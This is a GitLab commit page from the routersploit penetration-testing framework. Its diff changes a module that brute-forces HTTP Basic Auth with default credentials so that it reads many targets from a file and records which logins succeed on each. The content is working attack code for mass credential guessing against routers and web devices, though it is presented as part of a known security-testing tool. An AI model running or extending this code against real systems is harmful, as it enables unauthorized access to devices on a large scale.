Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
3e78ec24
Commit
3e78ec24
authored
Apr 24, 2016
by
fwkz
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Feeding exploit with targets from text file placed within creds module
parent
9c0390f4
Hide whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
42 additions
and
16 deletions
+42
-16
interpreter.py
routersploit/interpreter.py
+0
-4
http_basic_default.py
routersploit/modules/creds/http_basic_default.py
+42
-12
No files found.
routersploit/interpreter.py
View file @
3e78ec24
...
...
@@ -288,10 +288,6 @@ class RoutersploitInterpreter(BaseInterpreter):
@utils.module_required
def
command_run
(
self
,
*
args
,
**
kwargs
):
utils
.
print_status
(
"Running module..."
)
if
self
.
current_module
.
target
.
startswith
(
"file://"
):
self
.
__multiple_run
()
return
try
:
self
.
current_module
.
run
()
except
:
...
...
routersploit/modules/creds/http_basic_default.py
View file @
3e78ec24
...
...
@@ -11,6 +11,7 @@ from routersploit import (
print_table
,
sanitize_url
,
boolify
,
http_request
)
...
...
@@ -37,18 +38,45 @@ class Exploit(exploits.Exploit):
def
run
(
self
):
self
.
credentials
=
[]
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
if
self
.
target
.
startswith
(
'file://'
):
self
.
multi_run
()
else
:
self
.
single_run
()
def
multi_run
(
self
):
original_target
=
self
.
target
original_port
=
self
.
port
_
,
_
,
feed_path
=
self
.
target
.
partition
(
"file://"
)
try
:
r
=
requests
.
get
(
url
,
verify
=
False
)
except
(
requests
.
exceptions
.
MissingSchema
,
requests
.
exceptions
.
InvalidSchema
)
:
print_error
(
"
Invalid URL format:
%
s"
%
url
)
file_handler
=
open
(
feed_path
,
'r'
)
except
IOError
:
print_error
(
"
Could not read file: {}"
.
format
(
self
.
target
)
)
return
except
requests
.
exceptions
.
ConnectionError
:
print_error
(
"Connection error:
%
s"
%
url
)
for
target
in
file_handler
:
target
=
target
.
strip
()
if
not
target
:
continue
self
.
target
,
_
,
port
=
target
.
partition
(
':'
)
if
port
:
self
.
port
=
port
print_status
(
"Attack against: {}:{}"
.
format
(
self
.
target
,
self
.
port
))
self
.
single_run
()
self
.
target
=
original_target
self
.
port
=
original_port
file_handler
.
close
()
def
single_run
(
self
):
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
response
=
http_request
(
"GET"
,
url
)
if
not
response
:
return
if
r
.
status_code
!=
401
:
if
r
esponse
.
status_code
!=
401
:
print_status
(
"Target is not protected by Basic Auth"
)
return
...
...
@@ -60,13 +88,15 @@ class Exploit(exploits.Exploit):
collection
=
LockedIterator
(
defaults
)
self
.
run_threads
(
self
.
threads
,
self
.
target_function
,
collection
)
if
len
(
self
.
credentials
)
:
if
self
.
credentials
:
print_success
(
"Credentials found!"
)
headers
=
(
"Login"
,
"Password"
)
headers
=
(
"
Target"
,
"Port"
,
"
Login"
,
"Password"
)
print_table
(
headers
,
*
self
.
credentials
)
else
:
print_error
(
"Credentials not found"
)
defaults
.
close
()
def
target_function
(
self
,
running
,
data
):
module_verbosity
=
boolify
(
self
.
verbosity
)
name
=
threading
.
current_thread
()
.
name
...
...
@@ -83,10 +113,10 @@ class Exploit(exploits.Exploit):
if
r
.
status_code
!=
401
:
running
.
clear
()
print_success
(
"
{}: Authentication succeed!"
.
format
(
name
),
user
,
password
,
verbose
=
module_verbosity
)
self
.
credentials
.
append
((
user
,
password
))
print_success
(
"
Target: {}:{} {}: Authentication succeed!"
.
format
(
self
.
target
,
self
.
port
,
name
),
user
,
password
,
verbose
=
module_verbosity
)
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
user
,
password
))
else
:
print_error
(
name
,
"
Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
user
,
password
),
verbose
=
module_verbosity
)
print_error
(
name
,
"
Target: {}:{} Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
user
,
password
),
verbose
=
module_verbosity
)
except
StopIteration
:
break
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment